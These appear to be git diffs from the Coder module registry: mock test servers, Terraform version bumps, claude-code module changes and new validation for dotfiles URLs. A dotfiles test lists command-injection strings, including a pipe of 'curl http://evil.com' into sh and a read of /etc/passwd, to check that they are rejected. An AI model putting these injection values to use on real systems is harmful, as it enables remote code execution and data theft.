if (req.url === "/messages") {
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ messages }));
} else if (req.url === "/status") {
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ status: "stable" }));
} else {
res.writeHead(404);
res.end();
}
});
server.listen(port, () => {
console.error(`Mock AgentAPI listening on port ${port}`);
});
process.on("SIGTERM", () => {
server.close(() => process.exit(0));
});
process.on("SIGINT", () => {
server.close(() => process.exit(0));
});
@@ -0,0 +1,61 @@
#!/usr/bin/env node
// Mock Coder instance server for shutdown script tests.
// Captures POST requests to /log-snapshot endpoint.
const http = require("http");
const fs = require("fs");
const port = process.argv[2] || 8080;
const outputFile = process.env.OUTPUT_FILE || "/tmp/snapshot-posted.json";
const httpCode = parseInt(process.env.HTTP_CODE || "204", 10);
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${port}`);
// Expected path: /api/v2/workspaceagents/me/tasks/{task_id}/log-snapshot
const pathMatch = url.pathname.match(/\/tasks\/([^\/]+)\/log-snapshot$/);
if (req.method === "POST" && pathMatch) {
const taskId = pathMatch[1];
let body = "";
req.on("data", (chunk) => {
body += chunk.toString();
});
req.on("end", () => {
// Save captured snapshot with task ID for verification
const snapshotData = {
task_id: taskId,
payload: JSON.parse(body),
};
fs.writeFileSync(outputFile, JSON.stringify(snapshotData, null, 2));
console.error(
`Captured snapshot for task ${taskId} (${body.length} bytes) to ${outputFile}`,
);
// Return configured status code
res.writeHead(httpCode);
res.end();
});
req.on("error", (err) => {
console.error("Request error:", err);
res.writeHead(500);
res.end();
});
} else {
res.writeHead(404);
res.end();
}
});
server.listen(port, () => {
console.error(`Mock Coder instance listening on port ${port}`);
});
process.on("SIGTERM", () => {
server.close(() => process.exit(0));
});
process.on("SIGINT", () => {
server.close(() => process.exit(0));
});
+3 -3
View File
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "antigravity" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0"
version = "1.0.1"
agent_id = coder_agent.example.id
}
```
@@ -29,7 +29,7 @@ module "antigravity" {
module "antigravity" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0"
version = "1.0.1"
agent_id = coder_agent.example.id
folder = "/home/coder/project"
}
@@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a
module "antigravity" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0"
version = "1.0.1"
agent_id = coder_agent.example.id
folder = "/home/coder/project"
mcp = jsonencode({
+6 -6
View File
@@ -66,15 +66,15 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = var.agent_id
web_app_icon = "/icon/antigravity.svg"
web_app_slug = var.slug
web_app_display_name = var.display_name
web_app_order = var.order
web_app_group = var.group
coder_app_icon = "/icon/antigravity.svg"
coder_app_slug = var.slug
coder_app_display_name = var.display_name
coder_app_order = var.order
coder_app_group = var.group
folder = var.folder
open_recent = var.open_recent
+21 -19
View File
@@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude
```tf
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
claude_api_key = "xxxx-xxxxx-xxxx"
@@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc
```tf
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
enable_boundary = true
@@ -59,7 +59,7 @@ module "claude-code" {
### Usage with AI Bridge
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`.
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0.
For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
@@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
```tf
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
enable_aibridge = true
@@ -96,12 +96,11 @@ resource "coder_ai_task" "task" {
data "coder_task" "me" {}
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
claude_api_key = "xxxx-xxxxx-xxxx"
ai_prompt = data.coder_task.me.prompt
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
ai_prompt = data.coder_task.me.prompt
# Optional: route through AI Bridge (Premium feature)
# enable_aibridge = true
@@ -113,12 +112,15 @@ module "claude-code" {
This example shows additional configuration options for version pinning, custom models, and MCP servers.
> [!NOTE]
> When a specific `claude_code_version` (other than "latest") is provided, the module will install Claude Code via npm instead of the official installer. This allows for version pinning. The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located.
> The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located.
> [!WARNING]
> **Deprecation Notice**: The npm installation method (`install_via_npm = true`) will be deprecated and removed in the next major release. Please use the default binary installation method instead.
```tf
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
@@ -126,7 +128,7 @@ module "claude-code" {
# OR
claude_code_oauth_token = "xxxxx-xxxx-xxxx"
claude_code_version = "2.0.62" # Pin to a specific version (uses npm)
claude_code_version = "2.0.62" # Pin to a specific version
claude_binary_path = "/opt/claude/bin" # Path to pre-installed Claude binary
agentapi_version = "0.11.4"
@@ -174,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace.
```tf
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
install_claude_code = true
@@ -196,7 +198,7 @@ variable "claude_code_oauth_token" {
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
claude_code_oauth_token = var.claude_code_oauth_token
@@ -207,7 +209,7 @@ module "claude-code" {
#### Prerequisites
AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions.
AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions.
Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure.
@@ -269,7 +271,7 @@ resource "coder_env" "bedrock_api_key" {
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0"
@@ -283,7 +285,7 @@ module "claude-code" {
#### Prerequisites
GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role).
GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role).
Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform.
@@ -326,7 +328,7 @@ resource "coder_env" "google_application_credentials" {
module "claude-code" {
source = "registry.coder.com/coder/claude-code/coder"
version = "4.7.0"
version = "4.7.5"
agent_id = coder_agent.main.id
workdir = "/home/coder/project"
model = "claude-sonnet-4@20250514"
+33 -36
View File
@@ -1,5 +1,5 @@
terraform {
required_version = ">= 1.0"
required_version = ">= 1.9"
required_providers {
coder = {
@@ -208,6 +208,11 @@ variable "claude_binary_path" {
type = string
description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location."
default = "$HOME/.local/bin"
validation {
condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths."
}
}
variable "install_via_npm" {
@@ -224,8 +229,8 @@ variable "enable_boundary" {
variable "boundary_version" {
type = string
description = "Boundary version, valid git reference should be provided (tag, commit, branch)"
default = "main"
description = "Boundary version. When use_boundary_directly is true, a release version should be provided or 'latest' for the latest release. When compile_boundary_from_source is true, a valid git reference should be provided (tag, commit, branch)."
default = "latest"
}
variable "compile_boundary_from_source" {
@@ -276,9 +281,11 @@ resource "coder_env" "claude_code_oauth_token" {
}
resource "coder_env" "claude_api_key" {
count = local.claude_api_key != "" ? 1 : 0
agent_id = var.agent_id
name = "CLAUDE_API_KEY"
value = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
value = local.claude_api_key
}
resource "coder_env" "disable_autoupdater" {
@@ -288,18 +295,6 @@ resource "coder_env" "disable_autoupdater" {
value = "1"
}
resource "coder_env" "claude_binary_path" {
agent_id = var.agent_id
name = "PATH"
value = "${var.claude_binary_path}:$PATH"
lifecycle {
precondition {
condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer and npm both install to fixed locations."
}
}
}
resource "coder_env" "anthropic_model" {
count = var.model != "" ? 1 : 0
@@ -324,7 +319,8 @@ locals {
start_script = file("${path.module}/scripts/start.sh")
module_dir_name = ".claude-module"
# Extract hostname from access_url for boundary --allow flag
coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
# Required prompts for the module to properly report task status to Coder
report_tasks_system_prompt = <<-EOT
@@ -379,26 +375,27 @@ module "agentapi" {
pre_install_script = var.pre_install_script
post_install_script = var.post_install_script
start_script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
chmod +x /tmp/start.sh
#!/bin/bash
set -o errexit
set -o pipefail
echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
chmod +x /tmp/start.sh
ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
ARG_CONTINUE='${var.continue}' \
ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
ARG_PERMISSION_MODE='${var.permission_mode}' \
ARG_WORKDIR='${local.workdir}' \
ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
ARG_REPORT_TASKS='${var.report_tasks}' \
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
ARG_BOUNDARY_VERSION='${var.boundary_version}' \
ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
ARG_CODER_HOST='${local.coder_host}' \
/tmp/start.sh
EOT
ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
ARG_CONTINUE='${var.continue}' \
ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
ARG_PERMISSION_MODE='${var.permission_mode}' \
ARG_WORKDIR='${local.workdir}' \
ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
ARG_REPORT_TASKS='${var.report_tasks}' \
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
ARG_BOUNDARY_VERSION='${var.boundary_version}' \
ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
ARG_CODER_HOST='${local.coder_host}' \
ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
/tmp/start.sh
EOT
install_script = <<-EOT
#!/bin/bash
@@ -42,7 +42,7 @@ run "test_claude_code_with_api_key" {
}
assert {
condition = coder_env.claude_api_key.value == "test-api-key-123"
condition = coder_env.claude_api_key[0].value == "test-api-key-123"
error_message = "Claude API key value should match the input"
}
}
@@ -298,6 +298,13 @@ run "test_aibridge_enabled" {
enable_aibridge = true
}
override_data {
target = data.coder_workspace_owner.me
values = {
session_token = "mock-session-token"
}
}
assert {
condition = var.enable_aibridge == true
error_message = "AI Bridge should be enabled"
@@ -314,12 +321,12 @@ run "test_aibridge_enabled" {
}
assert {
condition = coder_env.claude_api_key.name == "CLAUDE_API_KEY"
condition = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY"
error_message = "CLAUDE_API_KEY environment variable should be set"
}
assert {
condition = coder_env.claude_api_key.value == data.coder_workspace_owner.me.session_token
condition = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token
error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled"
}
}
@@ -370,7 +377,7 @@ run "test_aibridge_disabled_with_api_key" {
}
assert {
condition = coder_env.claude_api_key.value == "test-api-key-xyz"
condition = coder_env.claude_api_key[0].value == "test-api-key-xyz"
error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled"
}
@@ -379,3 +386,18 @@ run "test_aibridge_disabled_with_api_key" {
error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled"
}
}
run "test_no_api_key_no_env" {
command = plan
variables {
agent_id = "test-agent-no-key"
workdir = "/home/coder/test"
enable_aibridge = false
}
assert {
condition = length(coder_env.claude_api_key) == 0
error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled"
}
}
@@ -12,6 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
@@ -21,6 +23,8 @@ ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-}
ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-}
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
echo "--------------------------------"
printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION"
@@ -51,39 +55,51 @@ function add_mcp_servers() {
done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)')
}
function add_path_to_shell_profiles() {
local path_dir="$1"
for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do
if [ -f "$profile" ]; then
if ! grep -q "$path_dir" "$profile" 2> /dev/null; then
echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile"
echo "Added $path_dir to $profile"
fi
fi
done
local fish_config="$HOME/.config/fish/config.fish"
if [ -f "$fish_config" ]; then
if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then
echo "fish_add_path $path_dir" >> "$fish_config"
echo "Added $path_dir to $fish_config"
fi
fi
}
function ensure_claude_in_path() {
if [ -z "${CODER_SCRIPT_BIN_DIR:-}" ]; then
echo "CODER_SCRIPT_BIN_DIR not set, skipping PATH setup"
local CLAUDE_BIN=""
if command -v claude > /dev/null 2>&1; then
CLAUDE_BIN=$(command -v claude)
elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
elif [ -x "$HOME/.local/bin/claude" ]; then
CLAUDE_BIN="$HOME/.local/bin/claude"
fi
if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then
echo "Warning: Could not find claude binary"
return
fi
if [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
local CLAUDE_BIN=""
if command -v claude > /dev/null 2>&1; then
CLAUDE_BIN=$(command -v claude)
elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
elif [ -x "$HOME/.local/bin/claude" ]; then
CLAUDE_BIN="$HOME/.local/bin/claude"
fi
local CLAUDE_DIR
CLAUDE_DIR=$(dirname "$CLAUDE_BIN")
if [ -n "$CLAUDE_BIN" ] && [ -x "$CLAUDE_BIN" ]; then
ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
else
echo "Warning: Could not find claude binary to symlink"
fi
else
echo "Claude already available in CODER_SCRIPT_BIN_DIR"
if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
fi
local marker="# Added by claude-code module"
for profile in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do
if [ -f "$profile" ] && ! grep -q "$marker" "$profile" 2> /dev/null; then
printf "\n%s\nexport PATH=\"%s:\$PATH\"\n" "$marker" "$CODER_SCRIPT_BIN_DIR" >> "$profile"
echo "Added $CODER_SCRIPT_BIN_DIR to PATH in $profile"
fi
done
add_path_to_shell_profiles "$CLAUDE_DIR"
}
function install_claude_code_cli() {
@@ -93,8 +109,9 @@ function install_claude_code_cli() {
return
fi
# Use npm when install_via_npm is true or for specific version pinning
if [ "$ARG_INSTALL_VIA_NPM" = "true" ] || { [ -n "$ARG_CLAUDE_CODE_VERSION" ] && [ "$ARG_CLAUDE_CODE_VERSION" != "latest" ]; }; then
# Use npm when install_via_npm is true
if [ "$ARG_INSTALL_VIA_NPM" = "true" ]; then
echo "WARNING: npm installation method will be deprecated and removed in the next major release."
echo "Installing Claude Code via npm (version: $ARG_CLAUDE_CODE_VERSION)"
npm install -g "@anthropic-ai/claude-code@$ARG_CLAUDE_CODE_VERSION"
echo "Installed Claude Code via npm. Version: $(claude --version || echo 'unknown')"
@@ -2,6 +2,12 @@
set -euo pipefail
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
command_exists() {
command -v "$1" > /dev/null 2>&1
}
@@ -14,7 +20,7 @@ ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
ARG_AI_PROMPT=$(echo -n "${ARG_AI_PROMPT:-}" | base64 -d)
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
ARG_ENABLE_BOUNDARY=${ARG_ENABLE_BOUNDARY:-false}
ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"main"}
ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"latest"}
ARG_COMPILE_FROM_SOURCE=${ARG_COMPILE_FROM_SOURCE:-false}
ARG_USE_BOUNDARY_DIRECTLY=${ARG_USE_BOUNDARY_DIRECTLY:-false}
ARG_CODER_HOST=${ARG_CODER_HOST:-}
+8 -8
View File
@@ -14,7 +14,7 @@ Automatically install [code-server](https://github.com/coder/code-server) in a w
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
}
```
@@ -29,7 +29,7 @@ module "code-server" {
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
install_version = "4.106.3"
}
@@ -43,7 +43,7 @@ Install the Dracula theme from [OpenVSX](https://open-vsx.org/):
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
extensions = [
"dracula-theme.theme-dracula"
@@ -61,7 +61,7 @@ Configure VS Code's [settings.json](https://code.visualstudio.com/docs/getstarte
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
extensions = ["dracula-theme.theme-dracula"]
settings = {
@@ -78,7 +78,7 @@ Just run code-server in the background, don't fetch it from GitHub:
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
extensions = ["dracula-theme.theme-dracula", "ms-azuretools.vscode-docker"]
}
@@ -92,7 +92,7 @@ You can pass additional command-line arguments to code-server using the `additio
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
additional_args = "--disable-workspace-trust"
}
@@ -108,7 +108,7 @@ Run an existing copy of code-server if found, otherwise download from GitHub:
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
use_cached = true
extensions = ["dracula-theme.theme-dracula", "ms-azuretools.vscode-docker"]
@@ -121,7 +121,7 @@ Just run code-server in the background, don't fetch it from GitHub:
module "code-server" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/code-server/coder"
version = "1.4.2"
version = "1.4.3"
agent_id = coder_agent.example.id
offline = true
}
+2 -2
View File
@@ -44,7 +44,7 @@ variable "settings" {
default = {}
}
variable "machine-settings" {
variable "machine_settings" {
type = any
description = "A map of template level machine settings to apply to code-server. This will be overwritten at each container start."
default = {}
@@ -167,7 +167,7 @@ resource "coder_script" "code-server" {
INSTALL_PREFIX : var.install_prefix,
// This is necessary otherwise the quotes are stripped!
SETTINGS : replace(jsonencode(var.settings), "\"", "\\\""),
MACHINE_SETTINGS : replace(jsonencode(var.machine-settings), "\"", "\\\""),
MACHINE_SETTINGS : replace(jsonencode(var.machine_settings), "\"", "\\\""),
OFFLINE : var.offline,
USE_CACHED : var.use_cached,
USE_CACHED_EXTENSIONS : var.use_cached_extensions,
+3 -3
View File
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "cursor" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
version = "1.4.1"
agent_id = coder_agent.main.id
}
```
@@ -29,7 +29,7 @@ module "cursor" {
module "cursor" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
version = "1.4.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
@@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen
module "cursor" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
version = "1.4.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
mcp = jsonencode({
+1 -1
View File
@@ -66,7 +66,7 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id
+6 -6
View File
@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3"
version = "1.3.1"
agent_id = coder_agent.example.id
}
```
@@ -31,7 +31,7 @@ module "dotfiles" {
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3"
version = "1.3.1"
agent_id = coder_agent.example.id
}
```
@@ -42,7 +42,7 @@ module "dotfiles" {
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3"
version = "1.3.1"
agent_id = coder_agent.example.id
user = "root"
}
@@ -54,14 +54,14 @@ module "dotfiles" {
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3"
version = "1.3.1"
agent_id = coder_agent.example.id
}
module "dotfiles-root" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3"
version = "1.3.1"
agent_id = coder_agent.example.id
user = "root"
dotfiles_uri = module.dotfiles.dotfiles_uri
@@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3"
version = "1.3.1"
agent_id = coder_agent.example.id
default_dotfiles_uri = "https://github.com/coder/dotfiles"
}
+36 -8
View File
@@ -12,20 +12,48 @@ describe("dotfiles", async () => {
agent_id: "foo",
});
it("default output", async () => {
it("default output is empty string", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
});
expect(state.outputs.dotfiles_uri.value).toBe("");
});
it("set a default dotfiles_uri", async () => {
const default_dotfiles_uri = "foo";
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
default_dotfiles_uri,
});
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
it("accepts valid git URL formats", async () => {
const validUrls = [
"https://github.com/coder/dotfiles",
"https://github.com/coder/dotfiles.git",
"git@github.com:coder/dotfiles.git",
"git://github.com/coder/dotfiles.git",
"ssh://git@github.com/coder/dotfiles.git",
"ssh://git@bitbucket.example.org:7999/~myusername/dotfiles.git",
];
for (const url of validUrls) {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
});
expect(state.outputs.dotfiles_uri.value).toBe(url);
}
});
it("rejects invalid or malicious URLs", async () => {
const invalidUrls = [
"https://github.com/user/repo; curl http://evil.com | sh",
"https://github.com/$(whoami)/repo",
"https://github.com/`id`/repo",
"https://github.com/user/repo|cat /etc/passwd",
"file:///etc/passwd",
"not-a-valid-url",
];
for (const url of invalidUrls) {
await expect(
runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
}),
).rejects.toThrow();
}
});
it("set custom order for coder_parameter", async () => {
+40 -5
View File
@@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
type = string
description = "The default dotfiles URI if the workspace user does not provide one"
default = ""
validation {
condition = (
var.default_dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$", var.default_dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
}
variable "dotfiles_uri" {
type = string
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
default = null
default = null
validation {
condition = (
var.dotfiles_uri == null ||
var.dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$", var.dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
}
variable "user" {
type = string
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
default = null
validation {
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
error_message = "Must be a valid username without special characters."
}
}
variable "coder_parameter_order" {
@@ -63,6 +84,12 @@ variable "manual_update" {
default = false
}
variable "post_clone_script" {
description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
type = string
default = null
}
data "coder_parameter" "dotfiles_uri" {
count = var.dotfiles_uri == null ? 1 : 0
type = "string"
@@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
description = var.description
mutable = true
icon = "/icon/dotfiles.svg"
validation {
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$"
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
}
locals {
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
user = var.user != null ? var.user : ""
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
user = var.user != null ? var.user : ""
encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
}
resource "coder_script" "dotfiles" {
agent_id = var.agent_id
script = templatefile("${path.module}/run.sh", {
DOTFILES_URI : local.dotfiles_uri,
DOTFILES_USER : local.user
DOTFILES_USER : local.user,
POST_CLONE_SCRIPT : local.encoded_post_clone_script
})
display_name = "Dotfiles"
icon = "/icon/dotfiles.svg"
@@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
group = var.group
command = templatefile("${path.module}/run.sh", {
DOTFILES_URI : local.dotfiles_uri,
DOTFILES_USER : local.user
DOTFILES_USER : local.user,
